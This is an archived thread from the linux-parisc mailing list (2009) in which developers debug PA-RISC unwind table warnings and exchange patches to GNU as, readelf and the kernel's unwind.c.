Content-Disposition: inline

On Wed, 28 Oct 2009, Helge Deller wrote:

> On 10/28/2009 11:43 PM, Helge Deller wrote:
>> On 10/28/2009 11:18 PM, John David Anglin wrote:
>>>>> and whether it follows inb in its .o. From my understanding of things,
>>>>> it shouldn't be necessary to remove the unwind info for unused weak
>>>>> symbols if they aren't garbage collected. A simple testcase would
>>>>> be helpful.
>
> Attached is a testcase (t1.c and t2.c):
> t1.c contains weak function f().
> t2.c contains non-weak function f().
>
> hppa-linux-gcc -c t1.c t2.c
> hppa-linux-ld -r -o all.o t1.o t2.o

Attached is a patch for gas that seems to produce reasonable
unwind info for the testcase when all.o is linked into a final
executable.  I think it will fix the linux unwind problem.

Still need to look at readelf -u on .o's.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="tc-hppa.c.d"

Index: config/tc-hppa.c
===================================================================
RCS file: /cvs/src/src/gas/config/tc-hppa.c,v
retrieving revision 1.145
diff -u -3 -p -r1.145 tc-hppa.c
--- config/tc-hppa.c	24 Jul 2009 11:45:00 -0000	1.145
+++ config/tc-hppa.c	29 Oct 2009 18:37:39 -0000
@@ -5961,13 +5961,41 @@ pa_build_unwind_subspace (struct call_in
   subsegT save_subseg;
   unsigned int unwind;
   int reloc;
-  char *p;
+  char *name, *p;
+  symbolS *symbolP;
 
   if ((bfd_get_section_flags (stdoutput, now_seg)
        & (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
       != (SEC_ALLOC | SEC_LOAD | SEC_READONLY))
     return;
 
+  /* Replace the start symbol with a local symbol that will be reduced
+     to a section offset.  This avoids problems with weak functions with
+     multiple definitions, etc.  */
+  name = xmalloc (strlen ("L$\001start_")
+		  + strlen (S_GET_NAME (call_info->start_symbol))
+		  + 1);
+  strcpy (name, "L$\001start_");
+  strcat (name, S_GET_NAME (call_info->start_symbol));
+
+  /* If we have a .procend preceded by a .exit, then the symbol will have
+     already been defined.  In that case, we don't want another unwind
+     entry.  */
+  symbolP = symbol_find (name);
+  if (symbolP)
+    {
+      xfree (name);
+      return;
+    }
+  else
+    {
+      symbolP = symbol_new (name, now_seg,
+			    S_GET_VALUE (call_info->start_symbol), frag_now);
+      gas_assert (symbolP);
+      S_CLEAR_EXTERNAL (symbolP);
+      symbol_table_insert (symbolP);
+    }
+
   reloc = R_PARISC_SEGREL32;
   save_seg = now_seg;
   save_subseg = now_subseg;
@@ -5993,7 +6021,7 @@ pa_build_unwind_subspace (struct call_in
   /* Relocation info. for start offset of the function.  */
   md_number_to_chars (p, 0, 4);
   fix_new_hppa (frag_now, p - frag_now->fr_literal, 4,
-		call_info->start_symbol, (offsetT) 0,
+		symbolP, (offsetT) 0,
 		(expressionS *) NULL, 0, reloc,
 		e_fsel, 32, 0, 0);
 

--gKMricLos+KVdGMg--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 21:46:26 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <4AE9FF22.1090709@gmx.de>
References: <20091028221827.1B7774E38@hiauly1.hia.nrc.ca> <4AE8C918.8060908@gmx.de> <4AE8CCE3.1030503@gmx.de> <20091029191642.GA21129@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256849200 30700 80.91.229.12 (29 Oct 2009 20:46:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 20:46:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 21:46:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3btA-0003XC-DT
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 21:46:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753661AbZJ2Uq0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 16:46:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754317AbZJ2UqZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 16:46:25 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:46970 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753661AbZJ2UqZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 16:46:25 -0400
Original-Received: (qmail invoked by alias); 29 Oct 2009 20:46:28 -0000
Original-Received: from p4FDB2849.dip0.t-ipconnect.de (EHLO halden.box) [79.219.40.73]
  by mail.gmx.net (mp054) with SMTP; 29 Oct 2009 21:46:28 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19nZmgzU/xnCmXUSKJjQRsHYQl/xRVPmlFRlb8jUJ
	fbJDjDPH0k3ej0
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091029191642.GA21129@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.58
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2273>

On 10/29/2009 08:16 PM, John David Anglin wrote:
> On Wed, 28 Oct 2009, Helge Deller wrote:
>
>> On 10/28/2009 11:43 PM, Helge Deller wrote:
>>> On 10/28/2009 11:18 PM, John David Anglin wrote:
>>>>>> and whether it follows inb in its .o. From my understanding of things,
>>>>>> it shouldn't be necessary to remove the unwind info for unused weak
>>>>>> symbols if they aren't garbage collected. A simple testcase would
>>>>>> be helpful.
>>
>> Attached is a testcase (t1.c and t2.c):
>> t1.c contains weak function f().
>> t2.c contains non-weak function f().
>>
>> hppa-linux-gcc -c t1.c t2.c
>> hppa-linux-ld -r -o all.o t1.o t2.o
>
> Attached is a patch for gas that seems to produce reasonable
> unwind info for the testcase when all.o is linked into a final
> executable.  I think it will fix the linux unwind problem.

Hi Dave,

Yes, this patch fixes the problem for vmlinux :-)
Just tested it with a 32bit  kernel build.

> Still need to look at readelf -u on .o's.

Yes, I see this too. readelf -u doesn't print any longer the second line of:
<arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
           Entry_GR=1 Save_SP Total_frame_size=8

Thanks!

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 21:51:04 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <4AEA0038.6090200@gmx.de>
References: <20091028231026.CDB6F4E38@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256849479 31614 80.91.229.12 (29 Oct 2009 20:51:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 20:51:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, carlos@systemhalted.org,
	randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 21:51:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3bxd-0003YW-BM
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 21:51:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753661AbZJ2UvD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 16:51:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754164AbZJ2UvD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 16:51:03 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:41448 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753661AbZJ2UvC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 16:51:02 -0400
Original-Received: (qmail invoked by alias); 29 Oct 2009 20:51:05 -0000
Original-Received: from p4FDB2849.dip0.t-ipconnect.de (EHLO halden.box) [79.219.40.73]
  by mail.gmx.net (mp023) with SMTP; 29 Oct 2009 21:51:05 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX191KpBsLCx1EhDcajxvEGJ7EtBYwnA4WKEUfzDrlg
	ebby2rvjil9sVY
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091028231026.CDB6F4E38@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.75
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2274>

On 10/29/2009 12:10 AM, John David Anglin wrote:
> Do you know if linux uses the --gc-sections ld option?  This together
> with the GCC -function-sections option might contribute to this problem.

The --gc-sections ld option is not used.
gcc's -function-sections is used.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 17:07:32 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <20091029210733.96E8B4E38@hiauly1.hia.nrc.ca>
References: <4AE9FF22.1090709@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256850466 2872 80.91.229.12 (29 Oct 2009 21:07:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 21:07:46 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 22:07:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3cDY-00054z-Hx
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 22:07:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754164AbZJ2VHa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 17:07:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754229AbZJ2VHa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 17:07:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4284 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753079AbZJ2VH3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 17:07:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 96E8B4E38; Thu, 29 Oct 2009 17:07:33 -0400 (EDT)
In-Reply-To: <4AE9FF22.1090709@gmx.de> from "Helge Deller" at Oct 29, 2009 09:46:26 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2275>

> > Still need to look at readelf -u on .o's.
> 
> Yes, I see this too. readelf -u doesn't print any longer the second line of:
> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>            Entry_GR=1 Save_SP Total_frame_size=8

Actually, the entries are still there.  For weak functions that
are not used, they appear as "<foo+x>:" where foo is the closest
preceding symbol before the unused weak function.  In practice,
the code shouldn't be entered, so the lack of an associated function
symbol shouldn't matter.

I have a fix for the readelf -u bug.  See below.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Index: readelf.c
===================================================================
RCS file: /cvs/src/src/binutils/readelf.c,v
retrieving revision 1.467
diff -u -3 -p -r1.467 readelf.c
--- readelf.c	23 Oct 2009 00:15:07 -0000	1.467
+++ readelf.c	29 Oct 2009 20:59:26 -0000
@@ -5589,11 +5589,11 @@ slurp_hppa_unwind_table (FILE * file,
 	    {
 	    case 0:
 	      aux->table[i].start.section = sym->st_shndx;
-	      aux->table[i].start.offset += sym->st_value + rp->r_addend;
+	      aux->table[i].start.offset  = sym->st_value + rp->r_addend;
 	      break;
 	    case 1:
 	      aux->table[i].end.section   = sym->st_shndx;
-	      aux->table[i].end.offset   += sym->st_value + rp->r_addend;
+	      aux->table[i].end.offset    = sym->st_value + rp->r_addend;
 	      break;
 	    default:
 	      break;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use sort() instead of home-made implementation
Date: Thu, 29 Oct 2009 22:59:01 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20091029215901.GA30311@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256853554 13016 80.91.229.12 (29 Oct 2009 21:59:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 21:59:14 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 22:59:07 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3d1O-0002y0-Gy
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 22:59:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755376AbZJ2V7A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 17:59:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755633AbZJ2V7A
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 17:59:00 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:49467 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753030AbZJ2V67 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 17:58:59 -0400
Original-Received: (qmail invoked by alias); 29 Oct 2009 21:59:03 -0000
Original-Received: from p4FDB2849.dip0.t-ipconnect.de (EHLO p100.box) [79.219.40.73]
  by mail.gmx.net (mp008) with SMTP; 29 Oct 2009 22:59:03 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19pCek7cjdp5RWMtSSgtrYEkMT7tge/feRztMl9R1
	akHYrwyS5jjxJ7
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2276
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2276>

Signed-off-by: Helge Deller <deller@gmx.de>


diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 69dad5a..e5a4390 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -13,6 +13,7 @@
 #include <linux/sched.h>
 #include <linux/slab.h>
 #include <linux/kallsyms.h>
+#include <linux/sort.h>
 
 #include <asm/uaccess.h>
 #include <asm/assembly.h>
@@ -115,24 +116,21 @@ unwind_table_init(struct unwind_table *table, const char *name,
 	}
 }
 
+static int cmp_unwind_table_entry(const void *a, const void *b)
+{
+	return ((const struct unwind_table_entry *)a)->region_start
+	     - ((const struct unwind_table_entry *)b)->region_start;
+}
+
 static void
 unwind_table_sort(struct unwind_table_entry *start,
 		  struct unwind_table_entry *finish)
 {
-	struct unwind_table_entry el, *p, *q;

From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 23:22:04 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <4AEA158C.10005@gmx.de>
References: <20091029210733.96E8B4E38@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256855133 17774 80.91.229.12 (29 Oct 2009 22:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 22:25:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 23:25:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3dO3-0006Pr-Ql
	for glpp-linux-parisc@lo.gmane.org; Thu, 29 Oct 2009 23:22:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756684AbZJ2WWG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 18:22:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756778AbZJ2WWE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 18:22:04 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:56585 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756684AbZJ2WWC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 18:22:02 -0400
Original-Received: (qmail invoked by alias); 29 Oct 2009 22:22:06 -0000
Original-Received: from p4FDB2849.dip0.t-ipconnect.de (EHLO halden.box) [79.219.40.73]
  by mail.gmx.net (mp047) with SMTP; 29 Oct 2009 23:22:06 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+vyAohRa2vDPdo3G66/v4REDEdYplSRIwfnaZUit
	t19KGeQ3qv79J2
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091029210733.96E8B4E38@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2277
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2277>

On 10/29/2009 10:07 PM, John David Anglin wrote:
>>> Still need to look at readelf -u on .o's.
>>
>> Yes, I see this too. readelf -u doesn't print any longer the second line of:
>> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>>             Entry_GR=1 Save_SP Total_frame_size=8
>
> Actually, the entries are still there.  For weak functions that
> are not used, they appear as "<foo+x>:" where foo is the closest
> preceding symbol before the unused weak function.  In practice,
> the code shouldn't be entered, so the lack of an associated function
> symbol shouldn't matter.
>
> I have a fix for the readelf -u bug.  See below.

Sorry, but I don't fully understand...

With your patch to gas, the unwind info for the weak functions are completely gone in the final executable (which is good).

But "readelf -u" doesn't show the "Entry_GR=..." lines for _any_ function any longer (in the final executable).
I really mean _all_ functions, weak, non-weak, standard, ...
The patch you attached only changes the start and end addresses of the symbols...?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Thu, 29 Oct 2009 19:35:00 -0400 (EDT)
Lines: 70
Approved: news@gmane.org
Message-ID: <20091029233501.152D1500F@hiauly1.hia.nrc.ca>
References: <4AEA158C.10005@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256859313 32015 80.91.229.12 (29 Oct 2009 23:35:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2009 23:35:13 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 30 00:35:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3eWG-0001AY-42
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Oct 2009 00:35:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756045AbZJ2Xe6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 19:34:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756722AbZJ2Xe6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 19:34:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4295 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756045AbZJ2Xe5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 19:34:57 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 152D1500F; Thu, 29 Oct 2009 19:35:00 -0400 (EDT)
In-Reply-To: <4AEA158C.10005@gmx.de> from "Helge Deller" at Oct 29, 2009 11:22:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2278>

> 
> On 10/29/2009 10:07 PM, John David Anglin wrote:
> >>> Still need to look at readelf -u on .o's.
> >>
> >> Yes, I see this too. readelf -u doesn't print any longer the second line of:
> >> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
> >>             Entry_GR=1 Save_SP Total_frame_size=8
> >
> > Actually, the entries are still there.  For weak functions that
> > are not used, they appear as "<foo+x>:" where foo is the closest
> > preceding symbol before the unused weak function.  In practice,
> > the code shouldn't be entered, so the lack of an associated function
> > symbol shouldn't matter.
> >
> > I have a fix for the readelf -u bug.  See below.
> 
> Sorry, but I don't fully understand...
> 
> With your patch to gas, the unwind info for the weak functions are completely gone in the final executable (which is good).

I don't think I changed this.  In the testcase that you sent, I see

<a>: [0x104a0-0x104b8]
        Entry_GR=1 Save_SP Total_frame_size=8 
<a+1c>: [0x104bc-0x104d8]
	Entry_GR=1 Save_SP Total_frame_size=8 
<z>: [0x104dc-0x104f4]
	Entry_GR=1 Save_SP Total_frame_size=8 
<main>: [0x104f8-0x10544]
	Entry_GR=1 Save_SP Total_frame_size=8 
<f>: [0x10548-0x10564]
	Entry_GR=2 Save_SP Save_RP Total_frame_size=8 

The weak version of f is the <a+1c> entry.

> But "readelf -u" doesn't show the "Entry_GR=..." lines for _any_ function any longer (in the final executable).
> I really mean _all_ functions, weak, non-weak, standard, ...

That's not what I'm seeing.  The old and new versions seem similar
(i.e., with respect to missing "Entry_GR=...").  Didn't touch the
code that extracts and prints this stuff.

The lack of "Entry_GR=..." stuff for an entry probably indicates
that there isn't a .CALLINFO directive for the function in question.
This could happen if the function is handcoded assembler.  However,
it is legitimate for a function not to have any of the unwind stuff
set (e.g., function doesn't save any registers or allocate a frame).
I think GCC gets this right but it never has been looked at with a
magnifying glass.

> The patch you attached only changes the start and end addresses of the symbols...?

Yes, and only for .o's.  In final executables, there are no relocations
in the .PARISC.unwind section.  So, the values printed should be unaffected.

In the .o case, the code was in effect doing the SEGREL relocation twice
leading to offsets twice as big as they should have been.  It still runs
through the relocations if present, but uses the value from doing the
relocation if one is present.  Compare what you see now with objdump -d
and readelf -u on a .o.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: use sort() instead of home-made implementation
Date: Fri, 30 Oct 2009 11:41:32 +0800
Lines: 66
Approved: news@gmane.org
Message-ID: <4AEA606C.4080003@tausq.org>
References: <20091029215901.GA30311@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256874112 30730 80.91.229.12 (30 Oct 2009 03:41:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Oct 2009 03:41:52 +0000 (UTC)
